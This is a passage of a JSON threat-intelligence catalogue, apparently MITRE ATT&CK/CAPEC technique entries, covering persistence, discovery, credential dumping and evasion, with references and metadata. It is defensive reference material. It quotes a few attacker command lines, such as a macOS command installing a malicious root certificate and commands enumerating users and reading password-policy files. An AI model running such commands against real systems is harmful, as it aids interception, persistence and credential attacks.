"description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.",
"meta": {
"external_id": "T1547.013",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux"
],
"refs": [
"https://attack.mitre.org/techniques/T1547/013",
"https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html",
"https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html"
]
},
"related": [
{
"dest-uuid": "1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf",
"type": "subtechnique-of"
}
],
"uuid": "e0232cb0-ded5-4c2e-9dc7-2893142a5c11",
"value": "XDG Autostart Entries - T1547.013"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1280).\n\nUnderstanding an organizations business processes and tempo may allow an adversary to more effectively craft social engineering attempts or to better hide technical actions, such as those that generate network traffic. (Citation: Scasny2015) (Citation: Infosec-osint)",
"meta": {
"external_id": "T1280",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1280"
]
},
"uuid": "1f82ef59-b7da-4cd3-a41c-2e80f80f084f",
"value": "Identify business processes/tempo - T1280"
},
{
"description": "Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nVarious utilities and commands may acquire this information, including whoami. In macOS and Linux, the currently logged in user can be identified with w and who. On macOS the dscl . list /Users | grep -v '_' command can also be used to enumerate user accounts. Environment variables, such as %USERNAME% and $USER, may also be used to access this information.",
"meta": {
"external_id": "CAPEC-577",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1033",
"https://capec.mitre.org/data/definitions/577.html"
]
},
"uuid": "03d7999c-1f4c-42cc-8373-e7690d318104",
"value": "System Owner/User Discovery - T1033"
},
{
"description": "An adversary could use knowledge of the techniques used by security software to evade detection(Citation: Brodie)(Citation: Tan). For example, some mobile security products perform compromised device detection by searching for particular artifacts such as an installed \"su\" binary, but that check could be evaded by naming the binary something else. Similarly, polymorphic code techniques could be used to evade signature-based detection(Citation: Rastogi).",
"meta": {
"external_id": "EMM-5",
"kill_chain": [
"mitre-mobile-attack:defense-evasion"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://pages.cs.wisc.edu/~vrastogi/static/papers/rcj13b.pdf",
"http://www.blackhat.com/us-16/briefings.html#bad-for-enterprise-attacking-byod-enterprise-mobile-security-solutions",
"https://attack.mitre.org/techniques/T1408",
"https://media.blackhat.com/eu-13/briefings/Brodie/bh-eu-13-lacoon-attacks-mdm-brodie-wp.pdf",
"https://pages.nist.gov/mobile-threat-catalogue/emm-threats/EMM-5.html"
]
},
"related": [],
"uuid": "b332a960-3c04-495a-827f-f17a5daed3a6",
"value": "Disguise Root/Jailbreak Indicators - T1408"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1281).\n\nTemplates and branding materials may be used by an adversary to add authenticity to social engineering message. (Citation: Scasny2015)",
"meta": {
"external_id": "T1281",
"kill_chain": [
"mitre-pre-attack:organizational-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1281"
]
},
"uuid": "68b45999-bb0c-4829-bbd0-75d6dac57c94",
"value": "Obtain templates/branding materials - T1281"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1291).\n\nCommon Vulnerability Enumeration (CVE) is a dictionary of publicly known information about security vulnerabilities and exposures. An adversary can use this information to target specific software that may be vulnerable. (Citation: WeaponsVulnerable) (Citation: KasperskyCarbanak)",
"meta": {
"external_id": "T1291",
"kill_chain": [
"mitre-pre-attack:technical-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1291",
"https://securelist.com/the-great-bank-robbery-the-carbanak-apt/68732/"
]
},
"uuid": "abd5bed1-4c12-45de-a623-ab8dc4ff862a",
"value": "Research relevant vulnerabilities/CVEs - T1291"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1226).\n\nLeadership conducts a cost/benefit analysis that generates a compelling need for information gathering which triggers a Key Intelligence Toptic (KIT) or Key Intelligence Question (KIQ). For example, an adversary compares the cost of cyber intrusions with the expected benefits from increased intelligence collection on cyber adversaries. (Citation: LowenthalCh4) (Citation: KIT-Herring)",
"meta": {
"external_id": "T1226",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1226"
]
},
"uuid": "51bca707-a806-49bf-91e0-03885b0ac85c",
"value": "Conduct cost/benefit analysis - T1226"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1229).\n\nKey Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) may be further subdivided to focus on political, economic, diplomatic, military, financial, or intellectual property categories. An adversary may specify KITs or KIQs in this manner in order to understand how the information they are pursuing can have multiple uses and to consider all aspects of the types of information they need to target for a particular purpose. (Citation: CompetitiveIntelligence) (Citation: CompetitiveIntelligence)KIT.",
"meta": {
"external_id": "T1229",
"kill_chain": [
"mitre-pre-attack:priority-definition-planning"
],
"refs": [
"https://attack.mitre.org/techniques/T1229"
]
},
"uuid": "ae85ba2f-27ea-42d9-b42a-0fe89ee19ed5",
"value": "Assess KITs/KIQs benefits - T1229"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1245).\n\nThe approach or attack vector outlines the specifics behind how the adversary would like to attack the target. As additional information is known through the other phases of PRE-ATT&CK, an adversary may update the approach or attack vector. (Citation: CyberAdversaryBehavior) (Citation: WITCHCOVEN2015) (Citation: JP3-60) (Citation: JP3-12R) (Citation: DoD Cyber 2015)",
"meta": {
"external_id": "T1245",
"kill_chain": [
"mitre-pre-attack:target-selection"
],
"refs": [
"https://attack.mitre.org/techniques/T1245"
]
},
"uuid": "d45fe3c2-0688-43b9-ac07-7eb86f575e93",
"value": "Determine approach/attack vector - T1245"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1257).\n\nTechnical blogs and forums provide a way for technical staff to ask for assistance or troubleshoot problems. In doing so they may reveal information such as operating system (OS), network devices, or applications in use. (Citation: FunAndSun2012)",
"meta": {
"external_id": "T1257",
"kill_chain": [
"mitre-pre-attack:technical-information-gathering"
],
"refs": [
"https://attack.mitre.org/techniques/T1257"
]
},
"uuid": "a54a7708-8f64-45f3-ad51-1abf976986a0",
"value": "Mine technical blogs/forums - T1257"
},
{
"description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",
"meta": {
"external_id": "T1535",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Instance: Instance Creation"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1535",
"https://blog.cloudsploit.com/the-danger-of-unused-aws-regions-af0bf1b878fc"
]
},
"uuid": "59bd0dec-f8b2-4b9a-9141-37a1e6899761",
"value": "Unused/Unsupported Cloud Regions - T1535"
},
{
"description": "Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
"meta": {
"external_id": "T1593",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1593",
"https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e",
"https://securitytrails.com/blog/google-hacking-techniques",
"https://www.exploit-db.com/google-hacking-database"
]
},
"uuid": "a0e6614a-7740-4b24-bd65-f1bde09fc365",
"value": "Search Open Websites/Domains - T1593"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1396).\n\nConfigure and setup booter/stressor services, often intended for server stress testing, to enable denial of service attacks. (Citation: Krebs-Anna) (Citation: Krebs-Booter) (Citation: Krebs-Bazaar)",
"meta": {
"external_id": "T1396",
"kill_chain": [
"mitre-pre-attack:establish-&-maintain-infrastructure"
],
"refs": [
"https://attack.mitre.org/techniques/T1396",
"https://krebsonsecurity.com/2016/10/are-the-days-of-booter-services-numbered/",
"https://krebsonsecurity.com/2016/10/hackforums-shutters-booter-service-bazaar/",
"https://krebsonsecurity.com/2017/01/who-is-anna-senpai-the-mirai-worm-author/"
]
},
"uuid": "3d1488a6-59e6-455a-8b80-78b53edc33fe",
"value": "Obtain booter/stressor subscription - T1396"
},
{
"description": "Adversaries may attempt to get a listing of open application windows. Window listings could convey information about how the system is used or give context to information collected by a keylogger.",
"meta": {
"external_id": "T1010",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1010"
]
},
"uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830",
"value": "Application Window Discovery - T1010"
},
{
"description": "Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and access restricted information.\n\nSeveral of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\n",
"meta": {
"external_id": "T1003",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Active Directory: Active Directory Object Access",
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Access"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS"
],
"refs": [
"http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/",
"https://adsecurity.org/?p=1729",
"https://attack.mitre.org/techniques/T1003",
"https://github.com/mattifestation/PowerSploit",
"https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea",
"https://msdn.microsoft.com/library/cc228086.aspx",
"https://msdn.microsoft.com/library/cc237008.aspx",
"https://msdn.microsoft.com/library/cc245496.aspx",
"https://msdn.microsoft.com/library/dd207691.aspx",
"https://wiki.samba.org/index.php/DRSUAPI"
]
},
"uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
"value": "OS Credential Dumping - T1003"
},
{
"description": "Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software\\[Wow6432Node\\]Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish Persistence.",
"meta": {
"external_id": "CAPEC-579",
"refs": [
"https://attack.mitre.org/techniques/T1004",
"https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order",
"https://capec.mitre.org/data/definitions/579.html",
"https://technet.microsoft.com/en-us/sysinternals/bb963902"
]
},
"related": [
{
"dest-uuid": "6836813e-8ec8-4375-b459-abb388cb1a35",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79",
"value": "Winlogon Helper DLL - T1004"
},
{
"description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device system partition, where it may persist after device resets and may not be easily removed by the device user.\n\nMany Android devices provide the ability to unlock the bootloader for development purposes. An unlocked bootloader may provide the ability for an adversary to modify the system partition. Even if the bootloader is locked, it may be possible for an adversary to escalate privileges and then modify the system partition.",
"meta": {
"external_id": "APP-27",
"kill_chain": [
"mitre-mobile-attack:defense-evasion",
"mitre-mobile-attack:persistence",
"mitre-mobile-attack:impact"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1400",
"https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html",
"https://source.android.com/security/verifiedboot/",
"https://www.apple.com/business/docs/iOS_Security_Guide.pdf"
]
},
"related": [],
"uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0",
"value": "Modify System Partition - T1400"
},
{
"description": "Adversaries may attempt to make payloads difficult to discover and analyze by delivering files to victims as uncompiled code. Similar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), text-based source code files may subvert analysis and scrutiny from protections targeting executables/binaries. These payloads will need to be compiled before execution; typically via native utilities such as csc.exe or GCC/MinGW.(Citation: ClearSky MuddyWater Nov 2018)\n\nSource code payloads may also be encrypted, encoded, and/or embedded within other files, such as those delivered as a [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193). Payloads may also be delivered in formats unrecognizable and inherently benign to the native OS (ex: EXEs on macOS/Linux) before later being (re)compiled into a proper executable binary with a bundled compiler and execution framework.(Citation: TrendMicro WindowsAppMac)\n",
"meta": {
"external_id": "T1500",
"refs": [
"https://attack.mitre.org/techniques/T1500",
"https://blog.trendmicro.com/trendlabs-security-intelligence/windows-app-runs-on-mac-downloads-info-stealer-and-adware/",
"https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf"
]
},
"related": [
{
"dest-uuid": "c726e0a2-a57a-4b7b-a973-d0f013246617",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "cf7b3a06-8b42-4c33-bbe9-012120027925",
"value": "Compile After Delivery - T1500"
},
{
"description": "Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)\n\nUtilities, such as NinjaCopy, exist to perform these actions in PowerShell. (Citation: Github PowerSploit Ninjacopy)",
"meta": {
"external_id": "T1006",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Command: Command Execution",
"Drive: Drive Access"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin",
"https://attack.mitre.org/techniques/T1006",
"https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
]
},
"uuid": "0c8ab3eb-df48-4b9c-ace7-beacaac81cc5",
"value": "Direct Volume Access - T1006"
},
{
"description": "Adversaries may try to get information about registered services. Commands that may obtain information about services using operating system utilities are \"sc,\" \"tasklist /svc\" using [Tasklist](https://attack.mitre.org/software/S0057), and \"net start\" using [Net](https://attack.mitre.org/software/S0039), but adversaries may also use other tools as well. Adversaries may use the information from [System Service Discovery](https://attack.mitre.org/techniques/T1007) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.",
"meta": {
"external_id": "CAPEC-574",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1007",
"https://capec.mitre.org/data/definitions/574.html"
]
},
"uuid": "322bad5a-1c49-4d23-ab79-76d641794afa",
"value": "System Service Discovery - T1007"
},
{
"description": "\nAdversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.\n\nA directory share pivot is a variation on this technique that uses several other techniques to propagate malware when users access a shared network directory. It uses [Shortcut Modification](https://attack.mitre.org/techniques/T1547/009) of directory .LNK files that use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like the real directories, which are hidden through [Hidden Files and Directories](https://attack.mitre.org/techniques/T1564/001). The malicious .LNK-based directories have an embedded command that executes the hidden malware file in the directory and then opens the real intended directory so that the user's expected action still occurs. When used with frequently used network directories, the technique may result in frequent reinfections and broad access to systems and potentially to new and higher privileged accounts. (Citation: Retwin Directory Share Pivot)\n\nAdversaries may also compromise shared network directories through binary infections by appending or prepending its code to the healthy binary on the shared network directory. The malware may modify the original entry point (OEP) of the healthy binary to ensure that it is executed before the legitimate code. The infection could continue to spread via the newly infected file when it is executed by a remote system. These infections may target both binary and non-binary formats that end with extensions including, but not limited to, .EXE, .DLL, .SCR, .BAT, and/or .VBS.",
"meta": {
"external_id": "CAPEC-562",
"kill_chain": [
"mitre-attack:lateral-movement"
],
"mitre_data_sources": [
"File: File Creation",
"File: File Modification",
"Network Share: Network Share Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"Office 365",
"SaaS",
"Linux",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1080",
"https://capec.mitre.org/data/definitions/562.html",
"https://rewtin.blogspot.ch/2017/11/abusing-user-shares-for-efficient.html"
]
},
"uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c",
"value": "Taint Shared Content - T1080"
},
{
"description": "Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)",
"meta": {
"external_id": "T1101",
"refs": [
"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
"https://attack.mitre.org/techniques/T1101",
"https://technet.microsoft.com/en-us/library/dn408187.aspx"
]
},
"related": [
{
"dest-uuid": "5095a853-299c-4876-abd7-ac0050fb5462",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "6c174520-beea-43d9-aac6-28fb77f3e446",
"value": "Security Support Provider - T1101"
},
{
"description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system. Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.",
"meta": {
"external_id": "CAPEC-646",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: OS API Execution",
"Process: Process Creation"
],
"mitre_platforms": [
"Windows",
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1120",
"https://capec.mitre.org/data/definitions/646.html"
]
},
"uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
"value": "Peripheral Device Discovery - T1120"
},
{
"description": "Adversaries may attempt to access detailed information about the password policy used within an enterprise network or cloud environment. Password policies are a way to enforce complex passwords that are difficult to guess or crack through [Brute Force](https://attack.mitre.org/techniques/T1110). This information may help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems via various command shell utilities such as net accounts (/domain), Get-ADDefaultDomainPasswordPolicy, chage -l , cat /etc/pam.d/common-password, and pwpolicy getaccountpolicies (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies).\n\nPassword policies can be discovered in cloud environments using available APIs such as GetAccountPasswordPolicy in AWS (Citation: AWS GetPasswordPolicy).",
"meta": {
"external_id": "T1201",
"kill_chain": [
"mitre-attack:discovery"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"User Account: User Account Metadata"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS",
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1201",
"https://docs.aws.amazon.com/IAM/latest/APIReference/API_GetAccountPasswordPolicy.html",
"https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu",
"https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines"
]
},
"uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5",
"value": "Password Policy Discovery - T1201"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1301).\n\nBusiness processes, such as who typically communicates with who, or what the supply chain is for a particular part, provide opportunities for social engineering or other (Citation: Warwick2015)",
"meta": {
"external_id": "T1301",
"kill_chain": [
"mitre-pre-attack:organizational-weakness-identification"
],
"refs": [
"https://attack.mitre.org/techniques/T1301"
]
},
"uuid": "57619ab3-f6a5-43c8-8dd1-b0b8a986a870",
"value": "Analyze business processes - T1301"
},
{
"description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nRoot certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence. (Citation: SpectorOps Code Signing Dec 2017)\n\nIn macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain. (Citation: objective-see ay mami 2018)",
"meta": {
"external_id": "CAPEC-479",
"refs": [
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
"https://attack.mitre.org/techniques/T1130",
"https://capec.mitre.org/data/definitions/479.html",
"https://docs.microsoft.com/sysinternals/downloads/sigcheck",
"https://en.wikipedia.org/wiki/Root_certificate",
"https://objective-see.com/blog/blog_0x26.html",
"https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec",
"https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/",
"https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/"
]
},
"related": [
{
"dest-uuid": "c615231b-f253-4f58-9d47-d5b4cbdb6839",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1",
"value": "Install Root Certificate - T1130"
},
{
"description": "Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)",
"meta": {
"external_id": "CAPEC-551",
"refs": [
"https://attack.mitre.org/techniques/T1031",
"https://capec.mitre.org/data/definitions/551.html",
"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)",
"https://technet.microsoft.com/en-us/sysinternals/bb963902",
"https://twitter.com/r0wdy_/status/936365549553991680"
]
},
"related": [
{
"dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b",
"value": "Modify Existing Service - T1031"
},
{
"description": "Adversaries may request device administrator permissions to perform malicious actions.\n\nBy abusing the device administration API, adversaries can perform several nefarious actions, such as resetting the device’s password for [Device Lockout](https://attack.mitre.org/techniques/T1446), factory resetting the device to [Delete Device Data](https://attack.mitre.org/techniques/T1447) and any traces of the malware, disabling all of the device’s cameras, or make it more difficult to uninstall the app.(Citation: Android DeviceAdminInfo)\n\nDevice administrators must be approved by the user at runtime, with a system popup showing which of the actions have been requested by the app. In conjunction with other techniques, such as [Input Injection](https://attack.mitre.org/techniques/T1516), an app can programmatically grant itself administrator permissions without any user input.",
"meta": {
"external_id": "APP-22",
"kill_chain": [
"mitre-mobile-attack:privilege-escalation"
],
"mitre_platforms": [
"Android"
],
"refs": [
"https://attack.mitre.org/techniques/T1401",
"https://developer.android.com/reference/android/app/admin/DeviceAdminInfo",
